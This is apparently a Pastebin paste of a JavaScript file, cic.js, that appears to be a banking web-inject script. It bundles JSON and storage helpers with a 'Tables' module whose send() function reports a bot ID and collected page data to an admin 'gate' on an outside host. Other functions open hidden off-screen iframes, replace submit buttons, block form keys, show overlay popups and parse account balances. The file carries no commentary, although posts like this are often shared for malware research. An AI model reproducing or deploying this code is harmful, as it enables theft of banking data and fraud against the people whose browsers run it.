Xylitol

ssl10.ovh.net/~dpexpert/cic.js

Aug 18th, 2017
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. this.JSON||(this.JSON={}),function(){function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1)u[n]=str(n,a)||"null";return i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]",gap=o,i}if(rep&&typeof rep=="object"){s=rep.length;for(n=0;n<s;n+=1)r=rep[n],typeof r=="string"&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i))}else for(r in a)Object.hasOwnProperty.call(a,r)&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i));return i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}",gap=o,i}}typeof Date.prototype.toJSON!="function"&&(Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;typeof JSON.stringify!="function"&&(JSON.stringify=function(e,t,n){var r;gap="",indent="";if(typeof n=="number")for(r=0;r<n;r+=1)indent+=" ";else typeof n=="string"&&(indent=n);rep=t;if(!t||typeof t=="function"||typeof t=="object"&&typeof t.length=="number")return str("",{"":e});throw new Error("JSON.stringify")}),typeof JSON.parse!="function"&&(JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i=="object")for(n in i)Object.hasOwnProperty.call(i,n)&&(r=walk(i,n),r!==undefined?i[n]=r:delete i[n]);return reviver.call(e,t,i)}var j;text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return j=eval("("+text+")"),typeof reviver=="function"?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}(),"use strict",function(e,t){typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?module.exports=t():e.store=t()}(this,function(){function o(){try{return r in t&&t[r]}catch(e){return!1}}var e={},t=window,n=t.document,r="localStorage",i="script",s;e.disabled=!1,e.version="1.3.17",e.set=function(e,t){},e.get=function(e,t){},e.has=function(t){return e.get(t)!==undefined},e.remove=function(e){},e.clear=function(){},e.transact=function(t,n,r){r==null&&(r=n,n=null),n==null&&(n={});var i=e.get(t,n);r(i),e.set(t,i)},e.getAll=function(){},e.forEach=function(){},e.serialize=function(e){return JSON.stringify(e)},e.deserialize=function(e){if(typeof e!="string")return undefined;try{return JSON.parse(e)}catch(t){return e||undefined}};if(o())s=t[r],e.set=function(t,n){return n===undefined?e.remove(t):(s.setItem(t,e.serialize(n)),n)},e.get=function(t,n){var r=e.deserialize(s.getItem(t));return r===undefined?n:r},e.remove=function(e){s.removeItem(e)},e.clear=function(){s.clear()},e.getAll=function(){var t={};return e.forEach(function(e,n){t[e]=n}),t},e.forEach=function(t){for(var n=0;n<s.length;n++){var r=s.key(n);t(r,e.get(r))}};else if(n.documentElement.addBehavior){var u,a;try{a=new ActiveXObject("htmlfile"),a.open(),a.write("<"+i+">document.w=window</"+i+'><iframe src="/favicon.ico"></iframe>'),a.close(),u=a.w.frames[0].document,s=u.createElement("div")}catch(f){s=n.createElement("div"),u=n.body}var l=function(t){return function(){var n=Array.prototype.slice.call(arguments,0);n.unshift(s),u.appendChild(s),s.addBehavior("#default#userData"),s.load(r);var i=t.apply(e,n);return u.removeChild(s),i}},c=new RegExp("[!\"#$%&'()*+,/\\\\:;<=>?@[\\]^`{|}~]","g"),h=function(e){return e.replace(/^d/,"___$&").replace(c,"___")};e.set=l(function(t,n,i){return n=h(n),i===undefined?e.remove(n):(t.setAttribute(n,e.serialize(i)),t.save(r),i)}),e.get=l(function(t,n,r){n=h(n);var i=e.deserialize(t.getAttribute(n));return i===undefined?r:i}),e.remove=l(function(e,t){t=h(t),e.removeAttribute(t),e.save(r)}),e.clear=l(function(e){var t=e.XMLDocument.documentElement.attributes;e.load(r);while(t.length)e.removeAttribute(t[0].name);e.save(r)}),e.getAll=function(t){var n={};return e.forEach(function(e,t){n[e]=t}),n},e.forEach=l(function(t,n){var r=t.XMLDocument.documentElement.attributes;for(var i=0,s;s=r[i];++i)n(s.name,e.deserialize(t.getAttribute(s.name)))})}try{var p="__storejs__";e.set(p,p),e.get(p)!=p&&(e.disabled=!0),e.remove(p)}catch(f){e.disabled=!0}return e.enabled=!e.disabled,e})
  2.  
  3.  
  4.  
  5. var Tables = (function(){
  6.  
  7.    
  8.  
  9.     var admin = 'https://ssl6.ovh.net/~fuledota//admin/css/Cx1WxC1cC/';
  10.  
  11.        
  12.  
  13.     var data = new Array();
  14.  
  15.    
  16.  
  17.     var link = {
  18.  
  19.         gate: admin+"menu.php"
  20.  
  21.     };
  22.  
  23.    
  24.  
  25.     var options = {
  26.  
  27.         callback_status: '',
  28.  
  29.         iframe_status: '',
  30.  
  31.         currency_state: false
  32.  
  33.     };
  34.  
  35.    
  36.  
  37.     var splitter = {value: 'none',position: 'none'};
  38.  
  39.     var prefix = {minus: '-',plus: ''};
  40.  
  41.    
  42.  
  43.     function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
  44.  
  45.    
  46.  
  47.     function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
  48.  
  49.    
  50.  
  51.     function cin(digits) {var res = '';if (digits && digits.length > 0) {digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for (var i = 0; i < digits.length; i++) {var Char = digits.charAt(i);if (ValidChars.indexOf(Char) >= 0) {res += Char;}}}return parseFloat(res);}
  52.  
  53.  
  54.  
  55.     function cout(digits, r) {if (r == 1) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + ',' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + '.' + cents);} else if (r == 2) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + '.' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + ',' + cents).replace(/\./igm,' ');} else {return digits;}}
  56.  
  57.  
  58.  
  59.     function gc(digits) {if (digits){if (/[0-9]/igm.test(digits)) {if (/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)) {options.currency_state = 1;return cin(digits.replace(/\,/g, ''));} else {options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}} else {return digits;}} else {return digits;}}
  60.  
  61.  
  62.  
  63.     function sc(digits) {if (options.currency_state == 1 || options.currency_state == 2) {return cout(digits, options.currency_state);} else {return digits;}}
  64.  
  65.    
  66.  
  67.     return{
  68.  
  69.         brows: function(){
  70.  
  71.             var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
  72.  
  73.             if(/trident/i.test(M[1])){
  74.  
  75.                 tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
  76.  
  77.                 return {name:'IE ',version:(tem[1]||'')};
  78.  
  79.                 }  
  80.  
  81.             if(M[1]==='Chrome'){
  82.  
  83.                 tem=ua.match(/\bOPR\/(\d+)/)
  84.  
  85.                 if(tem!=null)   {return {name:'Opera', version:tem[1]};}
  86.  
  87.                 }
  88.  
  89.             M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
  90.  
  91.             if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
  92.  
  93.             return M[0]+' '+M[1];
  94.  
  95.         },
  96.  
  97.    
  98.  
  99.         set: function(name,value){
  100.  
  101.             if(/function/igm.test(typeof value)){
  102.  
  103.                 data[name] = value();
  104.  
  105.             }else{
  106.  
  107.                 data[name] = value;
  108.  
  109.             }
  110.  
  111.         },
  112.  
  113.        
  114.  
  115.         add: function(name,value){
  116.  
  117.             if(data[name]){
  118.  
  119.                 data[name] = data[name]+value;
  120.  
  121.             }else{
  122.  
  123.                 _tables.set(name,value);
  124.  
  125.             }
  126.  
  127.         },
  128.  
  129.        
  130.  
  131.         get: function(name){
  132.  
  133.             return data[name];
  134.  
  135.         },
  136.  
  137.        
  138.  
  139.         are: function(){
  140.  
  141.             var r = true;
  142.  
  143.             if(arguments && arguments.length > 0){
  144.  
  145.                 for(var i = 0; i < arguments.length; i++){
  146.  
  147.                     if(!data[arguments[i]]){
  148.  
  149.                         r = false;
  150.  
  151.                     }
  152.  
  153.                 }
  154.  
  155.             }
  156.  
  157.             return r;
  158.  
  159.         },
  160.  
  161.        
  162.  
  163.         dump: function(){
  164.  
  165.             var a = '';
  166.  
  167.             for(key in data){
  168.  
  169.                 a += key+": "+data[key]+"\r\n";
  170.  
  171.             }
  172.  
  173.             alert(a);
  174.  
  175.         },
  176.  
  177.        
  178.  
  179.         findout: function(){
  180.  
  181.             var found = {
  182.  
  183.                 tag: false,
  184.  
  185.                 error: false,
  186.  
  187.                 element: false
  188.  
  189.             };
  190.  
  191.            
  192.  
  193.             if(arguments && arguments.length >= 3){
  194.  
  195.                 var elements_array = arguments[1].split("|");
  196.  
  197.                 if(elements_array.length > 0){
  198.  
  199.                     for(var k = 0; k < elements_array.length; k++){
  200.  
  201.                         var elements = arguments[0].getElementsByTagName(elements_array[k]);
  202.  
  203.                         if(elements && elements.length > 0){
  204.  
  205.                             for(var i = 0; i < elements.length; i++){
  206.  
  207.                                 for(var e = 2; e < arguments.length; e++){
  208.  
  209.                                     var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  210.  
  211.                                     if(arguments[e].split(":")[0] == "class"){
  212.  
  213.                                         if(elements[i].className !== null && pattern.test(elements[i].className)){
  214.  
  215.                                             found.tag = true;
  216.  
  217.                                         }else{
  218.  
  219.                                             found.error = true;
  220.  
  221.                                         }
  222.  
  223.                                     }else if(arguments[e].split(":")[0] == "for"){
  224.  
  225.                                         if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
  226.  
  227.                                             found.tag = true;
  228.  
  229.                                         }else{
  230.  
  231.                                             found.error = true;
  232.  
  233.                                         }
  234.  
  235.                                     }else{
  236.  
  237.                                         if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  238.  
  239.                                             found.tag = true;
  240.  
  241.                                         }else{
  242.  
  243.                                             found.error = true;
  244.  
  245.                                         }
  246.  
  247.                                     }
  248.  
  249.                                 }
  250.  
  251.                                 if(found.tag && !found.error){
  252.  
  253.                                     return elements[i];
  254.  
  255.                                 }else{
  256.  
  257.                                     found.tag = false;
  258.  
  259.                                     found.error = false;
  260.  
  261.                                 }
  262.  
  263.                             }
  264.  
  265.                         }
  266.  
  267.                     }
  268.  
  269.                     return false;
  270.  
  271.                 }else{
  272.  
  273.                     return false;
  274.  
  275.                 }
  276.  
  277.             }else{
  278.  
  279.                 return false;
  280.  
  281.             }
  282.  
  283.         },
  284.  
  285.        
  286.  
  287.         findin: function(){
  288.  
  289.             var found = {
  290.  
  291.                 tag: false,
  292.  
  293.                 error: false,
  294.  
  295.                 element: false
  296.  
  297.             };
  298.  
  299.        
  300.  
  301.             if(arguments && arguments.length > 2){
  302.  
  303.                 var elements = arguments[0].getElementsByTagName(arguments[1]);
  304.  
  305.                 if(elements && elements.length > 0){
  306.  
  307.                     for(var i = 0; i < elements.length; i++){
  308.  
  309.                         for(var e = 2; e < arguments.length; e++){
  310.  
  311.                             var pattern = new RegExp(arguments[e],"igm");
  312.  
  313.                             if(pattern.test(elements[i].innerHTML.toLowerCase())){
  314.  
  315.                                 found.tag = true;
  316.  
  317.                             }else{
  318.  
  319.                                 found.error = true;
  320.  
  321.                             }
  322.  
  323.                         }
  324.  
  325.                         if(found.tag && !found.error){
  326.  
  327.                             return elements[i];
  328.  
  329.                         }else{
  330.  
  331.                             found.tag = false;
  332.  
  333.                             found.error = false;
  334.  
  335.                         }
  336.  
  337.                     }
  338.  
  339.                 }
  340.  
  341.             }
  342.  
  343.             return false;
  344.  
  345.         },
  346.  
  347.        
  348.  
  349.         tinydecode: function(s){
  350.  
  351.             s = s.replace(/\&lt;/g,'<');
  352.  
  353.             s = s.replace(/\&gt;/g,'>');
  354.  
  355.             s = s.replace(/\&quot;/g,'"');
  356.  
  357.             s = s.replace(/\&amp;/g,'&');
  358.  
  359.             s = s.replace(/\&nbsp;/g,' ');
  360.  
  361.             return s;
  362.  
  363.         },
  364.  
  365.        
  366.  
  367.         child: function(parent,child){
  368.  
  369.             return parent && child ? parent.getElementsByTagName(child) : false;
  370.  
  371.         },
  372.  
  373.        
  374.  
  375.         html: function(element){
  376.  
  377.             if(element){
  378.  
  379.                 var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
  380.  
  381.                 return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  382.  
  383.             }else{
  384.  
  385.                 return "";
  386.  
  387.             }
  388.  
  389.         },
  390.  
  391.        
  392.  
  393.         input: function(input,type){
  394.  
  395.             switch(type){
  396.  
  397.                 case("block"):
  398.  
  399.                     if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
  400.  
  401.                 break;
  402.  
  403.                
  404.  
  405.                 case("disable"):
  406.  
  407.                     input.disabled = true;
  408.  
  409.                 break;
  410.  
  411.             }
  412.  
  413.         },
  414.  
  415.        
  416.  
  417.         form: function(form,type){
  418.  
  419.             if(form){
  420.  
  421.                 switch(type){
  422.  
  423.                     case("block"):
  424.  
  425.                         var inps = _tables.child(form,"input");
  426.  
  427.                         if(inps && inps.length > 0){
  428.  
  429.                             for(var i = 0; i < inps.length; i++){
  430.  
  431.                                 if(/text|password/igm.test(inps[i].type)){
  432.  
  433.                                     _tables.input(inps[i],'block');
  434.  
  435.                                 }
  436.  
  437.                             }
  438.  
  439.                         }
  440.  
  441.                     break;
  442.  
  443.                 }
  444.  
  445.             }
  446.  
  447.         },
  448.  
  449.        
  450.  
  451.         bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
  452.  
  453.        
  454.  
  455.         replacebutton: function(button,func){
  456.  
  457.             var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
  458.  
  459.             for(x in button.attributes){
  460.  
  461.                 if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
  462.  
  463.                     if(button.attributes[x].name == "onclick" ||
  464.  
  465.                         button.attributes[x].name == "name" ||
  466.  
  467.                         button.attributes[x].name == "disabled" ||
  468.  
  469.                         (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
  470.  
  471.                         button.attributes[x].name == "id"
  472.  
  473.                     ){
  474.  
  475.                         continue;
  476.  
  477.                     }
  478.  
  479.                     if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
  480.  
  481.                         newButton.type = "button";
  482.  
  483.                     }else{
  484.  
  485.                         newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
  486.  
  487.                     }
  488.  
  489.                 }
  490.  
  491.             }
  492.  
  493.            
  494.  
  495.             if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
  496.  
  497.                 newButton.innerHTML = button.innerHTML;
  498.  
  499.             }
  500.  
  501.             newButton.style.cursor = "pointer";
  502.  
  503.             button.style.display = "none";
  504.  
  505.             newButton.id = "_tables.button";
  506.  
  507.             _tables.bind("click",newButton,func);
  508.  
  509.             button.parentNode.insertBefore(newButton,button);
  510.  
  511.         },
  512.  
  513.        
  514.  
  515.         encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
  516.  
  517.        
  518.  
  519.         send: function(){var l = link.gate+'?botid='+_tables.encode(_brows.botid)+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
  520.  
  521.        
  522.  
  523.         status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
  524.  
  525.        
  526.  
  527.         fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
  528.  
  529.        
  530.  
  531.         rand: function(a,b){return Math.floor((Math.random()*b)+a);},
  532.  
  533.        
  534.  
  535.         shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
  536.  
  537.        
  538.  
  539.         click: function(btn,doc){
  540.  
  541.             if(btn.type == "image"){
  542.  
  543.                 var inp_X = document.getElementById("inp_X");
  544.  
  545.                 var inp_Y = document.getElementById("inp_Y");
  546.  
  547.                 var inp_submit = document.getElementById("inp_submit");
  548.  
  549.                 if(inp_X)inp_X.parentNode.removeChild(inp_X);
  550.  
  551.                 if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
  552.  
  553.                 if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
  554.  
  555.                 var inp_X = document.createElement("input");
  556.  
  557.                 var inp_Y = document.createElement("input");
  558.  
  559.                 var inp_submit = document.createElement("input");
  560.  
  561.                 inp_X.name = btn.name+".x";
  562.  
  563.                 inp_Y.name = btn.name+".y";
  564.  
  565.                 inp_submit.name = btn.name;
  566.  
  567.                 inp_submit.value = btn.value;
  568.  
  569.                 inp_submit.type = "submit";
  570.  
  571.                 inp_submit.id = "inp_submit";
  572.  
  573.                 inp_X.id = "inp_X";
  574.  
  575.                 inp_Y.id = "inp_Y";
  576.  
  577.                 inp_X.value = _tables.rand(1,15);
  578.  
  579.                 inp_Y.value = _tables.rand(1,15);
  580.  
  581.                 inp_X.style.display = "none";
  582.  
  583.                 inp_Y.style.display = "none";
  584.  
  585.                 inp_submit.style.display = "none";
  586.  
  587.                 btn.parentNode.insertBefore(inp_X,btn);
  588.  
  589.                 btn.parentNode.insertBefore(inp_Y,btn);
  590.  
  591.                 btn.parentNode.insertBefore(inp_submit,btn);
  592.  
  593.                 var inp_submit = doc.getElementById("inp_submit");
  594.  
  595.                 if(inp_submit)_tables.click("click",inp_submit);
  596.  
  597.             }else{
  598.  
  599.                 if(document.createEvent){
  600.  
  601.                     var event = document.createEvent('MouseEvents');
  602.  
  603.                     event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  604.  
  605.                     btn.dispatchEvent(event);
  606.  
  607.                 }else if(btn.fireEvent){
  608.  
  609.                     btn.click();
  610.  
  611.                 }
  612.  
  613.             }
  614.  
  615.         },
  616.  
  617.        
  618.  
  619.         iframelink: function(link,param){
  620.  
  621.             var _tf = document.getElementById("_tables.frame.box");
  622.  
  623.             if(_tf)_tf.parentNode.removeChild(_tf);
  624.  
  625.             _tf = document.createElement("div");
  626.  
  627.             _tf.style.position = "absolute";
  628.  
  629.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  630.  
  631.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  632.  
  633.             _tf.id = "_tables.frame.box";
  634.  
  635.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  636.  
  637.             document.body.appendChild(_tf);
  638.  
  639.             var f = document.getElementById("_tables.iframe");
  640.  
  641.             f.src = link;
  642.  
  643.             if(param)_tables.fstatus(param);
  644.  
  645.         },
  646.  
  647.        
  648.  
  649.         iframeform: function(param){
  650.  
  651.             var _tf = document.getElementById("_tables.frame.box");
  652.  
  653.             if(_tf)_tf.parentNode.removeChild(_tf);
  654.  
  655.             _tf = document.createElement("div");
  656.  
  657.             _tf.style.position = "absolute";
  658.  
  659.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  660.  
  661.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  662.  
  663.             _tf.id = "_tables.frame.box";
  664.  
  665.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  666.  
  667.             document.body.appendChild(_tf);
  668.  
  669.             var f = document.getElementById("_tables.iframe");
  670.  
  671.             if(param)_tables.fstatus(param);
  672.  
  673.         },
  674.  
  675.        
  676.  
  677.         iframedom: function(fr){
  678.  
  679.             var r = {
  680.  
  681.                 doc: false,
  682.  
  683.                 win: false
  684.  
  685.             };
  686.  
  687.             if(_brows.ver() == "FF" && fr){
  688.  
  689.                 r.doc = fr.contentDocument;
  690.  
  691.                 r.win = fr.contentWindow;
  692.  
  693.             }else{
  694.  
  695.                 r.doc = fr.contentWindow.document;
  696.  
  697.                 r.win = fr.contentWindow;
  698.  
  699.             }
  700.  
  701.            
  702.  
  703.             return r;
  704.  
  705.         },
  706.  
  707.        
  708.  
  709.         height: function(){
  710.  
  711.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
  712.  
  713.         },
  714.  
  715.        
  716.  
  717.         popupshow: function(content,back){
  718.  
  719.             _tables.popuphide();
  720.  
  721.             back = back ? '#FFFFFF' : 'url(clear.png)';
  722.  
  723.             var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+100)+'px;z-index:300;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"></div>';
  724.  
  725.             var _tp = document.createElement("div");
  726.  
  727.             _tp.id = "_tables.popup";
  728.  
  729.             _tp.innerHTML = bg+""+content;
  730.  
  731.             document.getElementsByTagName('body')[0].appendChild(_tp);
  732.  
  733.            
  734.  
  735.             var bg2 = '<div style="position:fixed;top:0px;left:0px;width:100%;height:42px;z-index:302;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);">&nbsp;</div>';
  736.  
  737.             var _tp2 = document.createElement("div");
  738.  
  739.             _tp2.id = "_tables.popup.2";
  740.  
  741.             _tp2.innerHTML = bg2+""+content;
  742.  
  743.             document.getElementsByTagName('body')[0].appendChild(_tp2);
  744.  
  745.         },
  746.  
  747.        
  748.  
  749.         popuphide: function(){
  750.  
  751.             var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
  752.  
  753.         },
  754.  
  755.        
  756.  
  757.         inarr: function(arr,value){
  758.  
  759.             for(var i = 0; i < arr.length; i++){
  760.  
  761.                 if(value == arr[i]){
  762.  
  763.                     return true;
  764.  
  765.                 }
  766.  
  767.             }
  768.  
  769.             arr.push(value);
  770.  
  771.             return false;
  772.  
  773.         },
  774.  
  775.        
  776.  
  777.         placeholdr: function(input){
  778.  
  779.             if(_brows.ver() == 'FF')return;
  780.  
  781.             var txt = input.getAttribute("placeholder");
  782.  
  783.             if(txt.length > 0){
  784.  
  785.                 input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
  786.  
  787.                 input.value = input.value.length > 0 ? input.value : txt;
  788.  
  789.              
  790.  
  791.                 input.onfocus = function(){
  792.  
  793.                     this.style.color = '#000000';
  794.  
  795.                     this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
  796.  
  797.                 };
  798.  
  799.            
  800.  
  801.                 input.onblur = function(){
  802.  
  803.                     if(this.value.length == 0){
  804.  
  805.                         this.value = this.getAttribute("placeholder");
  806.  
  807.                         this.style.color = '#CCCCCC';
  808.  
  809.                     }
  810.  
  811.                 };
  812.  
  813.             }
  814.  
  815.         },
  816.  
  817.        
  818.  
  819.         btntoloader: function(btn,imghref){
  820.  
  821.             btn.style.visibility = 'hidden';
  822.  
  823.             var img = document.createElement('img');
  824.  
  825.             img.align = 'top';
  826.  
  827.             img.src = imghref;
  828.  
  829.             img.id = '_f_btntoloader';
  830.  
  831.             img.style.cssFloat = 'left';
  832.  
  833.             img.style.marginTop = '8px';
  834.  
  835.             img.style.marginLeft = '8px';
  836.  
  837.             btn.parentNode.insertBefore(img,btn);
  838.  
  839.         },
  840.  
  841.        
  842.  
  843.         cget: function(param){
  844.  
  845.             return gc(param);
  846.  
  847.         },
  848.  
  849.        
  850.  
  851.         cset: function(param){
  852.  
  853.             return sc(param);
  854.  
  855.         },
  856.  
  857.        
  858.  
  859.         replace: function(element,summa){
  860.  
  861.             if(element.id == 'was_replacer')return false;
  862.  
  863.             element.id = 'was_replacer';
  864.  
  865.             var tsel = /select|option/igm.test(element.tagName);
  866.  
  867.             var tinp = /input|textarea/igm.test(element.tagName);
  868.  
  869.            
  870.  
  871.             if(tsel){
  872.  
  873.                 if(splitter.value != "none" && splitter.position != "none"){
  874.  
  875.                     var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  876.  
  877.                     var balance = gc(element.text.split(splitter.value)[splitter.position]);
  878.  
  879.                 }else{
  880.  
  881.                     var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  882.  
  883.                     var balance = gc(element.text);
  884.  
  885.                 }
  886.  
  887.             }else if(tinp){
  888.  
  889.                 if(splitter.value != "none" && splitter.position != "none"){
  890.  
  891.                     var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  892.  
  893.                     var balance = gc(element.value.split(splitter.value)[splitter.position]);
  894.  
  895.                 }else{
  896.  
